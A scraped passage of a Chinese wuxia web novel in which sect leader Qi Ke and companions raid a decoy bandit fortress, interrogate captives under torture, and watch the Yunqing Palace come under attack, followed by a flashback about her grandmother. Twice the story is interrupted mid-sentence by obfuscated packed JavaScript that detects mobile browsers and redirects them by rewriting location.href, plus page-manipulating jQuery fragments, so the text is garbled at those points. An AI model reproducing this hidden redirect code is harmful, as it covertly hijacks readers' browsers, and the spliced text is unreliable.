“圆月影,血霜花,您是……”慕青南看向齐珂手中的长鞭:“您是齐宫主!
齐珂和谢明冷眼扫过去,慕青南被吓得一怔:“先进寨!先进寨!”
“噗嗤~”向玉捡起拂尘靴子和外袍:“美人凝眉,不知多么销魂。”
谢明震怒,手中赤影剑飞射而出,向玉哎哟叫着扑棱袖子躲过。
“够了!要我说几遍,先进寨!”齐珂狠狠瞪两人一眼,头也不回往前走。
“阿姐/美人/齐宫主!”三人急急跟上。
四人轻功都不差,打晕几个巡逻的人换上他们的衣服潜进去,没有被人发现。
鸠王寨共分为十个营堡,最中间一个圆形的堡垒,环绕最中间的堡垒还有九个体积小一点的营垒,包裹成一个圆形,每个小堡垒和最中间的堡垒之间相隔十六丈,用一根通体透明,肉眼几乎不可见的细线相连。
“当年玄武坛的九龙打垒法。”齐珂蹙眉:“当真是魔教?”
“万灵丝……”向玉瞥向细丝,若有所思:“不对……”
“咳咳!”慕青南轻咳提醒,迎面过来另一队巡逻的队伍,和他们打晕的腰间配紫刀的人不同,这伙人手持双钩枪,两队人马都蒙着面,打照面互相点头后错开。
“紫布刀,双钩枪,骨朵,风头斧,素木枪,木弩,屈刀,鸳鸯钺,笔刀。”谢明眼观四路:“九派兵刃,无人用剑?”
“可以啊,弟弟,眼神真好!棒!”
“不许叫我弟弟。”谢明从牙缝里挤出几个字。
“分头行动,阿明,你去找鸠王寨牢房,探查可有吴家庄人,这是血衣。”四人拐进一片灌木丛后,齐珂从怀里掏出一块血衣碎片,谢明仔细闻了一遍“听阿姐的。”
“如果真的是玄武坛,九龙打垒,万灵丝相连,只要一方有动静,触动万灵丝,即使相隔千里都能有所感应,你!”她看向拿出一面小镜子看自己山匪打扮的向玉:“想办法把万灵丝弄断,若是弄不断,带头油了吗?”
向玉和她对视一眼,心领神会:“放心,今日的火场必定木兰飘香,只是可惜了我的头油,还是在域外最好的若芳阁买的。”
“以光为号。”她夺下向玉手中的小镜子。
“好~听~姐姐的。”
“不许叫我阿姐姐姐!”谢明眼中爆出寒光。
“火烧连营,齐宫主是想将他们都烧死?”慕青南心有不忍:“教训一番让他们不能再下山作恶便可,宽容于物,不削于人,何须取人性命?”
“对魔教玄武坛心慈手软,果然是道貌岸然的正派作风啊。”谢明语气中满是嘲讽。
“你若不愿,现在就走,凭我们三个,灭掉鸠王寨,足够了。”
“我……若出手,我不取人性命,不点火。”
“用不着你。”齐珂冷哼:“你就在营寨入口接应我们,剩下的我们来。”
“阿姐,那你呢?”
“那边。”齐珂抬手指向不远处位列九龙打垒正中最大的一处营堡:“我能感受到剑气,干将莫邪,在那里。”
-
几人应声分开,齐珂压低身子,隐在营堡最上面的长木后,凝神听下面的动静。
堡内有五人,修为都未达虚空凡境,不足为惧。干将莫邪的剑主不是他们。
奇怪,齐珂闭眼,手中真气涌动,去感受营垒中两把剑的剑势,干将是采五山之铁精,六合之金英铸成,而莫邪更是以三百童男童女鼓橐装炭三月而成,二剑阴阳相交,名剑谱并列第二十三位,按理,这样的灵剑,除了剑灵亦有人灵。
可为何感受到的剑势里只有剑灵?难道它们已经封剑,或者……仿剑?可是这样强劲的剑势,若是仿剑,那铸剑之人的本事,便和她不相上下,这江湖之中,论铸兵器的功夫,还没听说过有谁能与齐家一较高下。
又来人?她敛去呼吸,侧耳倾听,来人身高八尺,脚步沉重,使的应是重兵器。
“老先生,可以新写冥王生死帖了。”
“新帖?”说话的人语气虚浮,但若论气息,却是在场几人中最强的“但云清宫……”
“今晚覆灭。”
“!”齐珂眼中厉色愈显,袖中滑下一柄短刃,从梁上斩破木头纵身跳下,左刃右鞭,出手之快,只余旋转的残影。短刃翻飞,见血封喉,长鞭出手,如同缚仙索,直接将说话的两人牢牢捆住,老者食指欲动,伸向桌上的花瓶,刚有动势,齐珂在两人身上各点几下,封住几处大穴。
血月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803057|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的银针扎入两人体内,鲜血漫出,将冰蓝色的长鞭又染上淡淡的血色。
魁梧一点的张张嘴,发现只能发出几声气音,他扭动身体挣扎,血月却越收越紧。
“莫动。”老者看向紧缚他们的长鞭,抬眼,眼神晦暗不明:“圆月影,血霜花,阁下是云清宫齐宫主?”
“说吧。”齐珂收紧力道,内里一荡,桌上铺开的信纸收回手中,左右翻看:“玄策纸,金缕印,冥王生死帖,你写的?”
“凭吩咐办事,普通读书人而已。”
“读书人掌心老茧这般厚?”
“年轻时卖过力气。”
齐珂轻笑着,转向恶狠狠瞪着自己的魁梧男人:“今晚云清宫覆灭?打算如何攻?云清宫我熟悉,可需我相助?”
“你说什么?”
“云清宫我熟悉,可需我相助,这几个字,哪个字不认识?”齐珂掰手指。
“哼!齐珂,你莫得意,你以为绑了我们,覆灭云清宫的计划就会终止吗?啊!”
男人惨叫,但穴道被封,就像破嘴的茶壶,只能发出泄气一般的低音,他眼中充血,额上青筋暴起,齐珂手起刀落,竟然生生削/下他腿上的一块肉。
“说吧,你们的计划。”齐珂擦刀。
“我不知道!啊!”第二刀。
“你是头头,你的衣服和他们都不一样,营堡之中,只有九人衣领上有龟相,你一定知道。”齐珂居然笑了,声音轻柔,表情温婉,拿着短刃在他的脸上比划:“下一刀割哪儿好呢?眼睛!你的眼睛好漂亮!”
“云清宫乃名门正派,行此等残忍之事,与安人残贼有何两样,呃!”
老者身子猛得一颤,呕出一口血,齐珂收回拳头:“你也答,堡中的干将莫邪,剑主是何人?”
老人突然笑出声,身体仍在颤抖,但眼中精光爆出:“干将莫邪?哈哈哈哈哈,都闻你是冠绝天下的铸剑师,居然犯此等错误,呃!!”
又是一拳:“为何人所铸?”
“齐珂,你当真想知道?”他牙齿上都是血,咯咯笑起来:“你说,这天下论铸兵器,除了你们齐家,还能有谁呢?当然是你们齐家……呃!咳!咳咳!”
他喷出一大口鲜血,与身旁伤口处鲜血直流的人淌出的暗黑色血液混合在一起,齐珂眼神冰冷,唇角的笑意仍在:“早知道就不问你了,糟心。下个问题,何人让你写冥王生死帖?你也答!刚才的问题也莫要忘了。”
她用刀扎一旁人的血肉,那人身子猛地一抖:“你!我说了,我不知……啊!”
眼眶剧痛,他冷汗爆出,抽搐几下就要晕厥过去,丹田处被齐珂用力一击,强行清醒过来,唯一还在的那双眼睛模糊间只觉得眼前全是血色,血色后的女子像是索命的恶魔:“你!”
“若说,我放你们一条生路,若骨头还这么硬,我隐世多年,折磨人的法子可学了不少。”
“玄武使!”老人鼻腔中流出鲜血:“冥王生死帖,玄武使。”
“新使?”
“不。”老者眼中突然闪出光亮:“六十年前,百毒神教玄武使,神功已成,不老不死,就是他!齐珂啊~”
他抬眼,眼神仿佛穿越生死,视线穿过齐珂,不知聚焦在何处:“他回来了,哈哈哈哈。”他突然回神死死盯住齐珂:“你们都会死!”
“是吗?”齐珂沉默,忽然轻笑出声:“那两把剑,剑主是他?”
“?”老者不解,她为何如此发问。
“人在寨中吗?”
老者发出一声嘲笑,倒是一旁的血人,感觉到自己大限将至,他瞪大眼睛,挣扎着从喉咙里发出微弱的嘶吼:“你应该先担心自己的云清宫,齐珂,过了今晚,江湖十六宫之首便不复存在了,哈哈哈,呃!呃……”
短刀没入上腹,他头无力垂下,再没气息。
“聒噪!”
她抽出刀,刀剑直指老者胸口:“人在寨中吗?”
他脸上的嘲笑更加明显:“这个寨子?你没有发现吗?”
“发现什么?”齐珂眯起眼睛,飞快闪过一路上觉得可疑的地方,脑中灵光一闪,心下大惊,忽闻那老人喉咙里再次发出咯咯的笑声:
“你又怎知,眼前所见不是迷阵呢?哈哈哈哈哈,呃!”
脖子上血珠飞溅,齐珂手起刀落,暗道不好,转身飞奔向藏在后方木棺里的两把宝剑,怀中掏出小镜子,飞身而起。
空气中是刺鼻的木兰香,嘈杂叫喊声不绝于耳,烈火浓烟自远处冲天而上,炙热的烈焰顺着连接堡垒之间的万灵丝飞窜,整耳欲聋的爆炸声混杂着破空的刺耳尖啸,大地似乎都在震动。
“靠!”眼见火舌袭来,浓烟铺面,她怀抱两把宝剑闪身翻下堡顶。
“珂——珂——快——跑!”混乱间手腕被人抓住,扑鼻的木兰香瞬间充斥鼻腔,手中被塞上一块沾湿的帕子。
“阿姐!捂面,伏低身子快走!”
“天杀的,这是尿!”
三人以最快的速度飞窜出去,贴地的火舌舔舐着最近的绿木,眼见鸠王寨寨门近在咫尺,忽然,山中风向急转,被甩在身后的火浪如同气势奔涌的巨龙,巨龙摆尾,转身直扑而来。
齐珂掌心内力涌动,拍向谢明后背,猛地将他打向寨门。
“阿姐!”谢明目眦欲裂,身后两人即将被烈焰吞噬,只见他们不退反进,竟然双双回身,真气在胸前凝结,想要将烈焰反打回去。
可浪火滔天,即使武功身法再好,在势不可挡的巨火面前,人就如同蚂蚁般渺小,谢明顾不得其他,反身冲过去想帮忙,衣领被人拽住,上方突现一柄巨大的拂尘,拂尘翻飞,竟然可以遮天蔽日,拂尘卷起风浪,山峰之上,助长火势的飓风竟然又被硬生生扭转了方向。
“阿姐!”退后的火焰中冲出两人,脸上全是烟尘,他箭步冲到齐珂身边,紧握住她的手仔细查看:“阿姐。”
“无碍!”齐珂握住他的手,夹在手指间的镜子被人夺去。
“齐宫主,师兄,你们没事吧?”慕青南收回拂尘。
“哎呀呀!花了花了!我这张脸可要花了!何处有清水,我要净手,我要洗面!”
谢明用衣袖给齐珂擦脸,闻声狠狠翻了一个白眼,忽然想到方才探查出的消息:“对了,阿姐,我们走错地方了!”
谢明话音刚落,向玉齐珂也正神色,三人竟然异口同声。
“这是假寨!”
“轰!”又是两声震天动地的巨响,几人站稳,空气中热浪滚滚,是和鸠王寨所在山峰对立的另一座山崖忽现滔天的火光,巨石顺着悬崖滚落,山崖震颤,萦绕在山上的雾气被烈火燃断,黑烟未至山顶,隐约可见浓雾散去后那座山峰上现出一座山寨,或是汹涌,眨眼的功夫,黑烟滚滚便将山寨吞噬殆尽,只那座闪着金光的匾额,在最后忽隐忽现,匾额上三字:
鸠王寨。
7. 第7章
寨门轰塌,整座鸠王寨被彻底吞噬在大火中。山崩地裂,空谷巨响,巨大的山石滚滚而落。
“走!他们说晚上攻打云清宫,现在午时一刻,先回距离云清宫最近的凤阳县,从长计议。”齐珂急道。
几人点头应下,赶回凤阳县最东头的一家简陋的茶室。
谢明挤开想坐在齐珂身边的向玉,挨着她坐下。
“店家,上两壶好茶,再打盆清水来!可有皂角?”向玉摸出一锭银子给小二:“方才一路过来,外面嘈杂,店家可知为何事?”
“说是有两处山峰塌了,火光烛天,在县里歇脚的侠客们又往那两处赶去了!说来,近日真是不太平,几位客官可听说,昨儿距咱们这儿向东六十里的吴家庄,全庄一个不留啊,凶手毁尸灭迹,一把大火全烧干净了。”
“有所耳闻。”齐珂正好借此说出心中疑惑:“府衙若是捉不到犯人,岂不要封锁沿边几处县城搜捕?可我们过来,并未受到阻拦。”
“谁说不曾抓到犯人?”小二疑惑:“这不是几宫宫主都在此地?昨日得了消息就率众弟子过去,要说也是犯人太蠢,杀人放火完居然还折回来,被逮了个正着,二十余人,在山泉宫万宫主手下都没过得了一招,悉数伏法。”
“二十余人?”齐珂向玉对视一眼,向玉又扔了一块碎银子:“去外面买壶酒来。多余的钱归你了!“
小二欢天喜地接过钱跑出去。
“昨日贫道二位师兄也往吴家庄去了,过了今晚,我回衢县,找他们问明情况,现在最要紧的是云清宫,齐宫主,你方才说,他们今晚会攻打云清宫?可是无论真假鸠王寨,都已经被烧毁了呀。”
“寨子烧没了,人或许还在,珂珂,今日是我之过,没有成功破除迷阵,将功补过,守卫云清宫,我义不容辞。”向玉难得正紧神色,手探过桌子想去握齐珂的手,被谢明一掌挥开:“滚!”
“事已至此,不是追究责任的时候,我们申时前赶回云清宫,在宫外守株待兔,但现下我还有几处疑问,需要弄清楚。”她用手沾水在桌上比划。
“其一,十六宫其于七宫灭门,从尸身看,皆死于千绝指和迷蝶剑,为当年玄武坛功法。”
“紫布刀,双钩枪,骨朵,风头斧,素木枪,木弩,屈刀,鸳鸯钺,笔刀,无人使剑,也没无人练指法。”谢明皱眉。
“或许是因为我们去的寨子只是障眼法,不是真的鸠王寨呢?那个燕岭,用的不就是掌法?”
向玉摇头:“燕岭跟前的喽啰,腰上的草带左右两边都有一个别扣,别扣成钩,应该是用来挂武器的,燕岭虽用掌,但腰间装饰和他们一样。”
谢明回忆:“草带颜色可为青紫相间?”
“没错!”慕青南点头。
“第六营鸳鸯钺。”谢明道:“但无论如何,九龙打垒,就算是假的玄武坛,但玄武与千绝指和迷蝶剑也能对上,就暂且当用剑和用指的我们不曾遇见,在另一处营寨。”
“其二。”齐珂若有所思,在桌上继续比划道:“此两把剑仿干将莫邪,只有剑灵没有人灵,可我方才试过,这两把剑上有血祭的痕迹,但若以活人血祭,就算是仿剑,剑灵浴血供养人灵,这两把剑剑灵如此强劲,上面不可能半点人灵都没有。”
“死人祭?”向玉神色晦暗,幽幽道“或者——活死人祭。”
“师兄,你是说当年百毒神教毒派的炼尸术?”慕青南震惊。
“如此……”谢明想到在寨中看到的场景:“阿姐,我方才在第九营寻到了他们的旱牢,牢中虽无人,但墙砖上的水迹和草灰残迹表明,至少在3-5日前,旱牢中生活过不下三十人,这些难道都被炼成活死人了?”
“不是没有这个可能,有要寻之人的痕迹吗?”
“没有,大多应该都是孩童,可方圆百里,无人报官,对了,阿姐。”谢明忽然想起来:“吴家庄虽被烧成灰烬,但里面的人都不是原先的百姓,出事前我曾去看过。”
桌上三人看向他,谢明继续道:
“原先吴家庄送货的绣娘与凤阳县北绣坊的二掌柜定了亲,下个月就要成婚,所以才日日由她亲自送针线活过去。可如今换了个仆妇,口口声声道小夫妻婚前一月不得相见,恐冲了喜,便改由她来送货。城北绣坊那二傻子迷信,居然信了这鬼话,我寻思远容山脚下民风开放,哪来的这些规矩,便留了个心眼,前天路过绣坊,瞧着送货的仆妇面生,问了缘由,觉得不对劲,悄悄潜过去瞧了瞧,原想回去告诉你,但被告知你闭关了。”
“你去吴家庄没被发现?弟弟,厉害呀~”向玉竖起大拇指,遭到谢明白眼,但他浑然不觉,将擦拭干净的蝴蝶簪子又别回发间:“这一路上,我发现,你观察细节的本事比我们都强,在山顶仅凭草木方向就精准找到旱牢,你的追踪术可不一般。”
“你想说什么?”
“阿明……”向玉喃喃,唇角勾起一抹了然的微笑,一张极其漂亮的脸更加水波潋滟:“若论追踪的本领,江湖之上只有一家三百年来难逢对手,可惜,十余年前举家被灭。”
坐在对面的姐弟眼中都闪过危险的光芒,向玉继续道:“当年八杰第五位,云策山庄,谢家,弟弟就是那位十一年前重伤不治的谢家小公子吧。”
“铛!”长剑出鞘,压在向玉白皙的脖颈上,谢明腾地起身,眼中寒光毕露,齐珂冷冷看向向玉,忽然,轻笑出声:“知道太多,容易死。”
有话好说!有话好说!”慕青南吓得站起。
“同道中人,他不会杀我。”向玉笑得一脸轻松:“弟弟,压在脖子上我不生气,只要不动脸,一切好说~”
他双指夹住剑锋,谢明不让:“同道?哼!我的道便是阿姐,姐姐走何道,我走何道。”他转头看向齐珂
“阿明,你不是他的对手,把剑放下。”
“原来是谢家公子,贫道有幸,今日得见两位八杰传人。”慕青南行礼,齐珂没有理他,问谢明:“你是如何寻到鸠王寨的?”
“我说了,阿姐莫要生气。”谢明突然一僵,另一边向玉闻言,双手抱臂,一副看热闹的表情,在齐珂蹙眉注视下,谢明从怀中缓缓掏出一枚金帖。
“玄策纸,金缕印,这是——冥王生死帖?!”慕青南惊讶出声,被向玉搂在怀里一把捂住嘴巴:“嘘!小声点。”
慕青南“呜呜”点头,嘴被松开:“谢公子接到了冥王生死帖,可云策山庄十一年前不就已经……”
“是云清宫。”齐珂看向谢明:“还是被你发现了。”
谢明像个做错事的孩子,低下头抿嘴:“我知晓阿姐是不想让我涉险,但我亦不想阿姐遭难,所以,骗了月护法拿到冥王生死帖,写帖子所用的黑墨为保持笔透三分之势,在添水研磨时还加了一剂草汁,是祈萝花枝,祈萝乃远容山特有,且长于万丈山峰,排除下来,锁定几座山不难,我赶过来的时候,听到他……”
谢明白了一眼向玉:“听到他劈山的动静,便一路跟过来了。”
“哎呀~还是我促成了姐弟相逢的喜事,那开山一刀看来也不是全无作用。”向玉拨动发间的蝴蝶簪,蝴蝶飞舞,十分娇俏。
“凡接冥王生死帖者,活不过三日,齐宫主是何时接到帖子的?”
“七日前。”
“云清宫乃十六宫之首,又有我家珂珂坐镇,岂是那么容易攻破的?”向玉笑容突然僵在脸上:“可……珂珂你在此处,并未在云清宫坐镇!”
谢明:“注意你的称呼!”
齐珂:“不会……”
话音未落,忽然又是如早上山崩地裂时那样震天动地的声响,大地震颤,房梁上积久不扫的灰尘簌簌落在几人头上。
“不好!”四人对视一眼,飞快抢出茶社。
扑面而来的是刺鼻的油烟味,风向为西南,从东北面刮来的狂风裹挟着滚烫的火星子奔涌而来,空气中满上油焦味和土腥味。
“云清宫!”齐珂瞳孔缩紧,抽出腰间的长鞭飞速冲云清宫山脚下冲过去,谢明紧跟其后。
“不是才未时?”慕青南拔剑跟上。
“等等!等等!你们几个站住!”向玉长袖翻飞,脚下飞掠的速度较平日更快,将将好挡在几人身前:“宫外有千机阵,就算千军万马短时间内也难以攻破。”
他抬头看向峰顶模糊的一排排身影:“人太多了,我们就算冲上去,武功再高,双拳也难敌四手!都冷静点!”
“对了!县中不是还有其他武林壮士?可请他们一道出手相助!”慕青南忙道。
“没用的!”齐珂的眼睛死死盯住山顶的熊熊烈火,强迫自己冷静下来,脑中闪过一幕幕,闭眼,再睁开时已是一片清明:“调虎离山,他们都往鸠王寨的山峰去了,等赶回来,为时已晚。”
说罢,她竟然转身,头也不回重新往茶社里走。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803058|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“阿姐!”谢明拽住她的胳膊。
“云清宫不会被灭,他们进不去。”她转头看向谢明,一字一句道。
“你可以不信我破阵的本事,但不能不信我向家先祖所创千机阵。”向玉也拉住谢明和慕青南。
“向家?!”二人惊讶皱眉。
“都进来!”齐珂从屋里喊道。三人进屋,向玉掌风飞舞,打开的门窗砰得一声全部合上,外面又想起不绝于耳的嘈杂声,其中就有春香馆的吴掌柜。
桌上赫然摆着两柄仿剑,只是和刚才了无声息死气沉沉不同,两柄剑如今光芒大甚,即使隔着剑鞘,耀眼夺目的剑势毕露。
“这是……”慕青南惊呼。
那两柄并排放在桌上的剑居然自己转动起来,木桌颤动,剑速越来越快,低沉却高频率的嗡嗡声刺激着每个人的耳膜。
“寻!”齐珂忽然真气暴涨,劈向桌上的剑,两声震耳欲聋的“哐嚓”声!其于三人捂紧耳朵,震颤声止,两柄剑的剑锋居然真的指向两处不同的方位。
“东北云清,南面……”向玉用手指夹住“莫邪”的剑锋,将它轻轻移位,但手指刚一松开,剑锋“铛”得一声恢复到原来的位置。
“再往南是一片荒野,最近一处有人居住城镇——据此处一百五十余里的不夜之城,牡丹城?阿姐,这两把剑所指究竟为何意?”
空气中的焦味越来越明显,门外能听到凤阳县普通百姓的叫唤:
“不好了,云清宫走水了!”
“莫去莫去!看山上!莫非……莫非是魔教?快跑!”
“那云清宫怎么办?”
“我等非武林中人,实乃心有余力不足,保全性命,先走为上!”
…………
想到昔日的洞天福地云清宫正遭浩劫,可自己身为一宫之主却不能直接上去将动手之人杀个痛快,她心中气血翻涌,但深知此时绝对不是意气用事的时候,深吸一口气沉声道:
“如果真如方才猜测,这两柄剑是用死人或活死人血祭,它们此时有反应,所指方向,便只有两种可能,‘干将’剑灵相对‘莫邪’较弱,所以更需血祭畜养,它所指为云清,便是活死人聚集地,而‘莫邪’,或许,剑指……”
“炼/尸之人。”向玉幽幽道,看向齐珂,安慰还未出口,反倒被齐珂抢先,她后槽牙要紧,面上却十分镇定:
“我知道,千机阵乃锡金所铸,火烧不穿,阵中万箭齐发,即使是不痛不伤的活死人,也难以攻破,就算突破千机阵,宫中阵法九九八十一,大罗神仙也蹚不到最后一关,云清宫无妨,只不过……”
“砰!”她握拳狠狠砸向木桌:“此恨我记下了,有仇必报,我定让他们血债血偿!走,去牡丹城!”
“好,依珂珂所言,我们立刻出发。”
“诸位!”慕青南犹豫道:“诸位先行,贫道需往衢县先同二位师兄支会一声,再往牡丹城寻三位少侠。”
“鸠王寨被烧,今日之事一了,你不必再蹚这趟浑水。”齐珂蹙眉道。
“魔教重出江湖,匡扶正义,铲除魔道,乃吾辈义不容辞的责任,更何况,今日云清宫遭难,那帮鼠辈若以为云清宫被灭,再发冥王生死帖,江湖门派,皆难幸免,与其坐以待毙,不如主动出击!”
“主动出击,这可不想崇尚道法自然的武当啊。”
“阿明!”齐珂回头看了谢明一眼,谢明敛声,齐珂继续道:“小道长放心吧,冥王生死帖的规矩,一门不灭,不会再发另一帖,只要我齐珂不死,其于门派至少不会被屠尽满门。”
“珂珂,你想如何做?”
齐珂环顾四周,小二买酒还没回来,但柜台后放着厚厚一沓劣质宣纸和冒着臭酸味的墨水,向玉提起袖子主动上前研墨,齐珂洋洋洒洒写下一张张大字报:“阿明,可有银票在身?”
“阿姐,给!”他挤开向玉,后者委屈瘪嘴。
“阿姐这是要?”
齐珂轻笑,走出茶社,飞身上楼,不远处的山头狂风大作,炎焰冲天,她在每一张“大字报”后面又卷上一张银票,催动内力,长臂一挥,宣纸漫天,如同扑灭山火的瓢泼大雨,纸上草书龙飞凤舞:
“宵小鼠辈,焉敢张狂!人不亡,宫仍在,待吾归日,杀尽尔等贼子,片甲不留!
——你姑奶奶,江湖第一美人,富豪榜三甲,天下十六宫之首云清宫宫主,大仙女,齐珂留!”
9. 第9章
暮色四合,等把嘴里还叫唤着“蓉儿,继续跳,继续喝!”的向玉安置入睡之后,齐珂才有小片刻的安宁。
“阿姐,要我说就该把他扔在霁华楼,带回来做什么?”
“房钱还要他给,不然你以为我愿意?”齐珂踢了床上的人一脚,作孽!喝醉睡死了也就罢了,他醉得走路都打飘,居然还记得睡前一定要用清水擦脸擦身子,再给脖子和手腕处拍上他随身带着的“雪中春信”,酒味混着淡甜的梅花香,真叫人恶心。
“我已经传信去福县鸽房,等钱一到,就把他甩了。”
“能打得过他再说吧。”
“一人难说,难不成你我二人联手还杀不了他吗?阿姐你当真相信他是向家人?若是向家后人,破鸠王寨双面迷阵时又怎会犯下真假不分的错误?一来中原便寻你,说不准是魔教卧底呢?”
齐珂叉腰看着床上好像正做着春梦,笑得一脸荡漾的男人,眼睛微眯:“我心中有数,时候不早了,你也早些休息吧。”
谢明还想说些什么,张了张嘴,还是没有出声。
齐珂回到自己的房间合衣躺下,闭目养神,回想今天发生的事情,直觉告诉她,那个君莫不是李老先生后人。
李今安为当年八杰中第六杰,以轻功冠绝江湖,年轻时飞檐走壁,日行千里。虽说无内力也可以练就绝世轻功,但这个君莫,她手在他的腰间摸索的时候悄悄探过,内力全无,而且他的一双玉足白净纤细,比寻常男人的脚要小上一圈,脚底皮肤细嫩,没有老茧,这双脚不像是练过轻功的。
可他却知道那句:立谈中,死生同,一诺千金重。
当年她祖母齐晗十五岁和情郎私奔,偷跑出云清宫,半路发现那个文弱情郎原是个只觊觎云清宫财势的凤凰男,一怒之下将人绞杀,但跑都跑了,觉得再回去有失面子,于是一不做二不休,拿着自己的三节棍开始闯荡江湖。
可她性子直,一路虽行侠仗义,交了许多朋友却也得罪了不少人,被仇家追杀,凭着一腔孤勇愣是杀出一条血路,跌跌撞撞藏到凡客山谷,碰到彼时也不过十四岁出头的李今安,一个长得圆滚滚,跟个玉面娃娃一样的大胖小子,身姿居然轻盈如飞,犹如山间翱翔的雏鹰,几个起落就能跃出去十几丈远,犹如浮光掠影一般,眨眼消失不见。
齐晗藏身养伤的洞口旁是悬崖峭壁,峭壁上延伸出去几根叶子还算葱茏的树枝,树枝上搭着鸟窝,她第一次看见李今安,这小子胖胖的肚子抵着崖壁,像是壁虎一样贴在山崖上,在往鸟窝里投喂一大把蚯蚓。
四目相对,两人都吓了一跳,齐晗以为是仇家追杀过来,三节棍破空甩出,吓得李今安身上的肥肉抖了三抖,惨叫一声直直掉下悬崖,腰间口袋里的蚯蚓像雨水一样从空中洒落。
空谷传响,哀转久绝。
“我去!你不会武功啊!”齐晗这才意识到自己恐怕打错人了,扒着洞口往下看,可是哪里还有人影,万丈山崖摔下去,人早就成肉泥了,她看向鸟窝里嗷嗷待哺的雏鸟,生出了:“为了赎罪,以后我捉蚯蚓养你们”的想法。
可刚收回视线,眼前突然凑上来一张白白胖胖还有点红扑扑的娃娃脸,她“啊!”了一声,下意识出手,那道圆球一样的身影嗖得闪到山洞最里面,指着她嘴里惊讶道:“爹说得没错,雀儿真能成精,翠花,你还记得我吗?我给你喂过蚯蚓,毛毛虫,还有老鼠呢!你化成人形,可是报恩来了?”
“放你的狗屁!谁是翠花!”齐晗生气,手中的三节棍甩过去,纵使李今安轻功再好,可山洞不大,他又被齐晗堵在洞角,叫天天不应,叫地地不灵,被揍得鼻青脸肿,甩着肉膀子一屁股坐在地上嚎啕大哭:
“翠花!你为什么要打我?是不是生肉吃多了,血性方刚,把你养得脾气暴躁,哇哇哇!早知道就多给你摘些果子吃了,呜呜呜呜!”
“你别哭了!”齐晗最受不了男孩哭闹,一下子手足无措:“不是……你有病吧,我不是雀儿,是人!人啊!”
那边坐在地上的小胖墩儿还在涕泗横流:“我知道你是人,你修成人形了,哇哇哇!”
…………
“祖母,后来呢?”年幼的齐珂趴在外祖母膝上,听得津津有味。
“后来呀……我又把他打了一顿,他终于相信了,即使那只叫翠花的雀儿修成了人形,也不会使一手三节棍,更不会是大乘幻境,他终于被我揍清醒了。”
齐晗说起当年,脸上还有几分眷恋:“傻小子,除了轻功好,跑得快,其他一概不大行,武功不会,谋略不通,不过,倒是有一颗全天下最真诚最赤诚的赤子之心,一旦交了你这个朋友,刀山火海,定不相负。”
“当年我和子尧,则问被困赤峰崖,崖上被布下剧毒,我们内力支持不了多久,唯有找到距赤峰崖三十舍之外的百花阁寻你顾爷爷拿千遂丹方能解毒,三十舍那是多远的距离啊,不眠不休累死几十匹骏马都难到,是今安,冒着力竭而亡的危险,用尽平生最快的速度过去,才在七天内往返,为了不被敌人发现,他又从赤峰崖无人把守,最难登的一面将解药送到我们的手上。”
“他到的时候,整个人已去了半条命,刚把千遂丹送过来,便倒地口喷鲜血……”齐晗说着落下泪来:“那大胖小子,明明是我们中年纪最小的,以前也是最胆小怕事的,当时我与今安结识还不算久,你子尧爷爷也只与他见过一面,还担心说这小子怕不是要借着去拿药趁机跑路吧,可今安难得生气,当时挺着圆滚滚的肚子气指着子尧气呼呼道:
“我李今安虽贪生,却不畏死,爹爹说过,立谈中,死生同,一诺千金重!今日一诺必践,死生不负!”
…………
“立谈中,死生同,一诺千金重……”齐珂闭目喃喃,心中千头万绪,忽然,她机警地睁开眼,屏息凝神,屋顶细碎铃铛声响,她松了一口气,拿起桌上的两把宝剑,打开窗户,飞身上楼。
月朗星稀,初秋深夜凉风习习,吹动屋顶上少年飘逸的发带,发带尾端的凤尾铃铛轻轻作响,听到轻踏瓦片的声音,他回头:“阿姐。”
“还没睡?”齐珂挨着他坐下。
“睡不着,阿姐去睡吧,我守夜。”
“是因为房中那个酒鬼?”齐珂笑道。
谢明低头把玩着手上的青色剑穗,剑穗上面一块雕刻得歪歪扭扭的玉牌,这是他九岁生日时阿姐亲手给他刻的,看着像猫,但阿姐说这分明是只龇牙咧嘴的小老虎,他属相是虎。阿姐的手艺不好,可他却喜欢这个生辰礼,因为这是姐姐的心意,独属于他的一份心意。
阿姐以前很温柔的,不酗酒,也不喜欢宠/幸男宠,可他十岁那年,云之恒……反正自那之后,姐姐性子就变了,暴躁易怒,成日喝酒不说,还点了许多小/倌上山,服侍左右。
他轻轻抚摸着手中的剑穗,久久没有出声,等齐珂以为他是不是已经睡着了时候,他突然道:“阿姐,你能不能别和那个向玉走太近,他一个拈花惹草,风流成性的浪子,不是什么好人?”
齐珂转头看她,谢明的眼睛湿漉漉的,在月光下亮晶晶,像一只委屈的大狗狗,她笑道:“他是浪子,我是□□,要这么说,我也不是好人?”
“阿姐~你明知我不是那意思!姐姐,等找到吴家庄的人,事了之后,我们回云清宫吧,阿姐想找魔教寻仇也好,想退隐江湖不问世事也好,我都陪着阿姐你,好不好?”他拉住齐珂的胳膊。
“不好。”谢明的手一僵,缓缓松开,被齐珂反手握住:“阿明,你从小到大不是在云策山庄或是远容山,就是在法源寺,要不是此次出山追查,你还没到过更远的地方呢。”
